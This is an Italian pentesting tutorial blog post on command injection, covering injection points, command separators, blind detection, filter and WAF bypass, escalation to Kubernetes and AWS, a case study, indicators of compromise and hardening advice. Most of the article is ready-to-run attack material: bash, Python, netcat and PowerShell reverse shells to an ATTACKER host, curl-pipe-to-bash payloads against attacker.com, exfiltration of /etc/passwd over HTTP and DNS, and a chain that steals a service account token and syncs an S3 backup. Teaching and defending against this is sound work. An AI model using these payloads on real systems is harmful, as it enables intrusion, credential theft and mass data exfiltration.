web-hacking

Command Injection: Cos’è e Come Trovarla nel Pentesting

Command Injection: Cos’è e Come Trovarla nel Pentesting

Scopri cos’è la command injection e come individuarla nel pentesting web: payload, blind injection, RCE, bypass filtri e tecniche di detection.

  • Pubblicato il 2026-03-12
  • Tempo di lettura: 8 min

La Command Injection è la vulnerabilità web che ti dà accesso diretto al sistema operativo attraverso un campo di input del browser. Non devi trovare un hash, non devi craccare una password, non devi scalare privilegi — se il server gira come root (e nel 20% dei casi lo fa), dal primo payload hai il controllo totale. È la forma di injection più diretta che esista: l’input dell’utente esce dal contesto dell’applicazione ed entra in una shell Bash o cmd.exe, dove viene eseguito come comando.

La trovo nel 15% dei pentest web — percentuale che sorprende perché sembra un errore “da principianti”, ma in realtà è insidioso: le applicazioni moderne hanno bisogno di funzionalità del sistema operativo per convertire file, generare report, pingare host, comprimere dati, e la soluzione più veloce è chiamare il comando di sistema. Basta un parametro non sanitizzato per aprire la porta.

Satellite della guida pillar Injection Attacks. Per la variante specifica a livello OS vedi anche OS Command Injection.

Un engagement che ha cambiato la mia percezione del rischio: SaaS per la gestione documentale, 50.000 utenti, stack moderno (Node.js, React, Kubernetes). La funzionalità “converti PDF in immagine” chiamava LibreOffice headless passando il filename come argomento. Il filename veniva dall’utente — upload con nome file report.pdf; curl attacker.com/shell.sh | bash. Node.js eseguiva libreoffice --headless --convert-to png "report.pdf; curl attacker.com/shell.sh | bash" → shell nel container Kubernetes. Dal container → service account token → kubectl → secret con credenziali AWS → S3 con backup di tutti i documenti dei 50.000 utenti. Tempo: 45 minuti.

Cos’è la Command Injection? #

La Command Injection è una vulnerabilità di sicurezza web in cui l’input fornito dall’utente viene passato a una funzione di esecuzione comandi del sistema operativo (come system(), exec(), os.popen(), child_process.exec()) senza adeguata sanitizzazione. L’attaccante inserisce separatori di comandi (;, |, &&, $()) seguiti da comandi arbitrari che il sistema operativo esegue con i privilegi del processo dell’applicazione web.

La Command Injection è pericolosa? Estremamente — è Remote Code Execution (RCE) immediata. L’attaccante esegue qualsiasi comando con i privilegi del processo web: lettura file, download di tool, reverse shell, accesso alla rete interna. Se il processo gira come root (20% dei casi), il controllo è totale senza necessità di privilege escalation. Trovata nel 15% dei pentest web nel 2025-2026.

Come Verificare se la Tua Applicazione È Vulnerabile #

bash
# Test manuali su parametri sospetti
# Funzionalità tipiche vulnerabili: ping, traceroute, nslookup, 
# conversione file, compressione, generazione PDF, invio email

# Google Dorks
inurl:"ping.php" site:target.com
inurl:"traceroute" site:target.com
intext:"sh: command not found" site:target.com

# Nuclei
nuclei -u https://target.com -tags rce,cmdi

1. Dove si Nasconde — I Punti di Injection #

La Command Injection non si trova nei classici campi di login o ricerca. Si nasconde nelle funzionalità di sistema — ovunque l’applicazione interagisca con il SO:

FunzionalitàComando sottostanteParametro iniettabile
Ping / Network checkping, traceroute, nslookupHostname / IP
Conversione filelibreoffice, convert, ffmpegFilename / formato
Compressionezip, tar, gzipFilename
Generazione PDFwkhtmltopdf, puppeteerURL / contenuto
Invio emailsendmail, mailDestinatario / oggetto
DNS lookupdig, host, nslookupDominio
Git operationsgit clone, git pullURL repository
Backupmysqldump, pg_dumpNome database

2. Separatori di Comandi — L’Arsenale #

Ogni sistema operativo ha i suoi separatori. Per sfruttare una Command Injection, devi “uscire” dal comando previsto e aggiungere il tuo:

Linux / macOS #

bash
; id              # Sequenza — esegue sempre il secondo comando
| id              # Pipe — output del primo come input del secondo
|| id             # OR — esegue se il primo FALLISCE
&& id             # AND — esegue se il primo RIESCE
& id              # Background — esegue entrambi in parallelo
$(id)             # Subshell — esegue e inserisce l'output
`id`              # Backtick — come $()
%0a id            # Newline URL-encoded — nuovo comando su nuova riga
{ls,/tmp}         # Brace expansion

Windows #

cmd
& dir             # Sequenza
| dir             # Pipe
|| dir            # OR
&& dir            # AND
%0a dir           # Newline

3. Detection Manuale — Step by Step #

Step 1: Identifica i punti di injection #

Cerca funzionalità che interagiscono con il sistema: conversione, network tools, file operations. Esamina i parametri di queste funzionalità.

Step 2: Test con output visibile #

text
# Se vedi l'output del comando nella risposta
input=8.8.8.8;id
input=8.8.8.8|id
input=8.8.8.8$(id)
input=8.8.8.8`id`

Se la risposta contiene uid=33(www-data) o simile → Command Injection confermata.

Step 3: Blind detection (se non vedi l’output) #

bash
# Time-based — il delay conferma l'esecuzione
input=8.8.8.8;sleep 55 secondi di delay?
input=8.8.8.8|sleep 5     → provare ogni separatore

# OOB (Out-of-Band) — il server ti contatta
input=8.8.8.8;curl http://ATTACKER_SERVER/proof
input=8.8.8.8;nslookup ATTACKER.burpcollaborator.net
input=8.8.8.8;wget http://ATTACKER_SERVER/$(whoami)

Se il tuo server riceve la connessione → Blind Command Injection confermata.

Step 4: Identifica il SO e l’utente #

bash
# Linux
;id                    # utente e gruppi
;uname -a              # versione kernel
;cat /etc/os-release   # distribuzione
;whoami                # nome utente

# Windows
& whoami               # utente
& systeminfo           # info sistema
& ipconfig /all        # rete

4. Exploitation — Da Detection a Shell #

Reverse shell — Linux #

bash
# Bash
;bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

# Python (quasi sempre disponibile)
;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Netcat (se disponibile)
;nc -e /bin/sh ATTACKER 4444
;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f

# Curl + shell script
;curl http://ATTACKER/shell.sh | bash

Reverse shell — Windows #

cmd
& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"

Data exfiltration senza shell (blind) #

bash
# Estrai dati via DNS
;nslookup $(whoami).ATTACKER.burpcollaborator.net

# Estrai file via HTTP
;curl http://ATTACKER/exfil -d @/etc/passwd

# Codifica in base64 per evitare problemi di caratteri
;curl http://ATTACKER/exfil -d $(cat /etc/passwd | base64)

5. Bypass dei Filtri #

Spazi filtrati #

bash
# Tab instead of space
;cat%09/etc/passwd
# $IFS (Internal Field Separator)
;cat${IFS}/etc/passwd
# Brace expansion
;{cat,/etc/passwd}
# Input redirection
;cat</etc/passwd

Keyword filtrate (cat, ls, id) #

bash
# Quote insertion
;c'a't /etc/passwd
;c"a"t /etc/passwd
# Backslash
;c\at /etc/passwd
# Variable expansion
;$(/bin/c?t /etc/passwd)
# Base64 bypass
;echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
# Wildcard
;/bin/c?t /etc/passw?

Separatori filtrati (;, |) #

bash
# Newline (%0a)
input=8.8.8.8%0aid
# Carriage return (%0d)
input=8.8.8.8%0d%0aid
# Subshell (se $ non è filtrato)
input=8.8.8.8$(id)
input=8.8.8.8`id`

WAF bypass #

bash
# Double encoding
%253B%2569%2564  → ;id (dopo doppio decode)

# Unicode
;i\u0064

# Commenti bash
;id #commento per confondere il WAF

6. 🏢 Enterprise Escalation #

Web App → Network → AD #

text
Command Injection → shell www-data → /app/config con credenziali DB
→ DB contiene utenti e hash → crack → credenziali riusabili
→ nmap dalla shell → scopri rete interna
→ BloodHound → attack path → Kerberoasting → Domain Admin

Tempo reale: 2-4 ore. Il web server ha quasi sempre visibilità sulla rete interna.

Container Kubernetes → Cloud #

text
Command Injection nel container → cat /var/run/secrets/kubernetes.io/serviceaccount/token
→ kubectl con quel token → lista namespace, pod, secret
→ secret con AWS_ACCESS_KEY_ID → aws s3 ls → data exfil

Tempo reale: 30-60 minuti. I container Kubernetes hanno spesso service account con troppi permessi.

CI/CD Compromise #

text
Command Injection → accesso al filesystem → .git directory
→ git remote → URL del repository → credenziali git nel config
→ accesso al repository → modifica pipeline → supply chain attack

7. 🔌 Variante API / Microservizi 2026 #

json
// API di conversione file
POST /api/v2/convert
{"input_file": "report.pdf; curl attacker.com/shell.sh | bash", "output_format": "png"}

// API di network diagnostics
POST /api/v2/health-check
{"target_host": "10.0.0.1; cat /etc/passwd"}

// API di report generation (wkhtmltopdf)
POST /api/v2/reports/generate
{"url": "http://internal-app.local/data\"; curl attacker.com/$(cat /etc/passwd | base64)\""}

// Webhook con URL controllato
POST /api/v2/webhooks/test
{"callback_url": "http://legit.com; wget http://attacker.com/shell -O /tmp/s; chmod +x /tmp/s; /tmp/s"}

Nei microservizi la Command Injection è amplificata: ogni servizio ha le sue dipendenze di sistema (ImageMagick, ffmpeg, wkhtmltopdf, git) e i developer del singolo servizio spesso non pensano alla sicurezza dell’input perché “arriva da un altro servizio interno, non dall’utente”.

8. Micro Playbook Reale #

Minuto 0-5 → Identifica le funzionalità di sistema

text
Mappa: conversione, ping, DNS, file operations, report, email
Per ognuna: quale parametro va al SO?

Minuto 5-10 → Test con output e blind

bash
;id  |id  $(id)  `id`           # Con output
;sleep 5  ;curl ATTACKER/proof   # Blind

Minuto 10-15 → Shell

bash
;bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
# Se fallisce → python/nc/curl reverse shell

Minuto 15-30 → Post-exploitation

bash
cat /app/config/*              # Credenziali
ip addr; arp -a                # Mappa rete
find / -name "*.env" 2>/dev/null  # File .env

Shell in 15 minuti dalla prima detection.

9. Caso Studio Concreto #

Settore: SaaS documentale, Node.js/Kubernetes, 50.000 utenti.

Scope: Pentest applicativo, grey-box.

Funzionalità “converti PDF in immagine”. Upload di un file con filename crafted: report.pdf;curl ATTACKER/shell.sh|bash. L’API passava il filename a child_process.exec('libreoffice --headless --convert-to png "' + filename + '"'). La shell è arrivata in 10 secondi.

Dal container Kubernetes: service account token in /var/run/secrets/, kubectl get secrets -A → secret aws-credentials con AWS_ACCESS_KEY_ID e AWS_SECRET_ACCESS_KEY. Con quelle credenziali: aws s3 ls → 12 bucket, incluso prod-documents-backup con tutti i documenti di tutti i 50.000 utenti.

Tempo dall’upload alla shell: 10 secondi. Tempo al data breach completo: 45 minuti. Root cause: child_process.exec() con input utente, service account K8s con troppi permessi, credenziali AWS in un secret K8s leggibile.

10. Errori Comuni Reali #

1. exec() / system() con input utente concatenato (la causa #1) Lo sviluppatore chiama il comando con l’input inserito nella stringa. La fix è usare execFile() (Node.js), subprocess.run() con lista (Python), ProcessBuilder (Java) — funzioni che separano il comando dagli argomenti.

2. Filename dall’utente usato in comandi di sistema L’upload di un file con nome file;id.pdf → il nome finisce in un comando di conversione/compressione. Sanitizza il filename prima di usarlo.

3. Validazione solo client-side Il frontend limita l’input a IP validi, ma il backend accetta qualsiasi stringa. L’attaccante bypassa il frontend con curl/Burp.

4. Container Docker come root Il 30% dei container gira come root. Se la Command Injection dà shell come root nel container, l’attaccante ha accesso completo al filesystem del container — inclusi secret, token, config.

5. shell=True in Python (il classico) subprocess.run(f"ping {host}", shell=True) → vulnerabile. subprocess.run(["ping", host]) → sicuro. Un parametro che cambia tutto.

11. Indicatori di Compromissione (IoC) #

  • Processi figli anomali del web server: bash, sh, curl, wget, nc, python spawned da node, java, php-fpm, gunicorn
  • Connessioni in uscita dal web server verso IP esterni non noti — reverse shell o data exfil
  • File creati in /tmp dal processo web: script scaricati, tool, chiavi SSH
  • Comandi nei log web: parametri con ;, |, $(), backtick — payload signature
  • DNS query anomale dal web server verso domini sconosciuti — OOB exfiltration
  • Aumento CPU/memoria del processo web — crypto miner o tool di post-exploitation

12. Mini Chain Offensiva Reale #

text
Filename Injection → child_process.exec() → Shell Container K8s → Service Account → kubectl → AWS Secret → S3 Backup → 50K documenti utente

Step 1 — Upload malevolo

bash
# Filename: report.pdf;curl ATTACKER/s.sh|bash
curl -F "file=@report.pdf;filename=report.pdf;curl ATTACKER/s.sh|bash" \
  https://target.com/api/v2/convert

Step 2 — Shell nel container

bash
# s.sh contiene reverse shell
bash -i >& /dev/tcp/ATTACKER/4444 0>&1

Step 3 — Kubernetes secret

bash
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl --token=$TOKEN --server=https://kubernetes.default get secrets -A
# → aws-credentials

Step 4 — AWS exfil

bash
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
aws s3 sync s3://prod-documents-backup /tmp/exfil/

Detection & Hardening #

  • Mai exec(), system(), shell=True con input utente — usa API con argomenti separati
  • Whitelist — valida l’input contro un set di valori permessi (solo IP, solo nomi file alfanumerici)
  • Sandbox — esegui comandi in container isolati senza accesso alla rete
  • Principio minimo privilegio — il processo web non deve girare come root
  • Kubernetes RBAC — service account con permessi minimi, non cluster-admin
  • WAF — filtra separatori di comandi (;, |, $(), backtick)
  • Monitoraggio — alert su processi figli anomali del web server

Mini FAQ #

La Command Injection esiste solo su PHP legacy? No — la trovo su Node.js (child_process.exec), Python (os.system, subprocess con shell=True), Java (Runtime.getRuntime().exec() con shell), Ruby (system(), backtick), Go (exec.Command con /bin/sh -c). Qualsiasi linguaggio che chiama comandi di sistema è a rischio.

Come la distinguo dalla Code Injection? La Command Injection esegue comandi del sistema operativo (id, cat, curl). La Code Injection esegue codice nel linguaggio dell’applicazione (Python, PHP, Java). La SSTI è una forma di Code Injection. La differenza pratica: la Command Injection dà accesso al SO, la Code Injection all’applicazione — ma entrambe portano a RCE.

Le funzioni “sicure” sono davvero sicure? subprocess.run(["ping", user_input]) è sicuro perché l’input è trattato come singolo argomento, non come parte di un comando shell. Ma attenzione: se il comando stesso interpreta l’argomento (es. find con -exec), può esserci comunque un rischio. La whitelist sull’input resta la protezione più robusta.


Satellite della Guida Completa Injection Attacks. Vedi anche: OS Command Injection, SSTI, SQL Injection.

La tua applicazione esegue comandi di sistema con input utente? Un test mirato può scoprire una Command Injection prima che diventi RCE. Per verificare la superficie d’attacco in ambienti autorizzati: Penetration test HackIta. Per approfondire detection ed exploitation e migliorare in un percorso assistito: formazione 1:1. Riferimenti utili: PortSwigger – OS Command Injection, OWASP – OS Command Injection Defense.

#web shell #rce

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.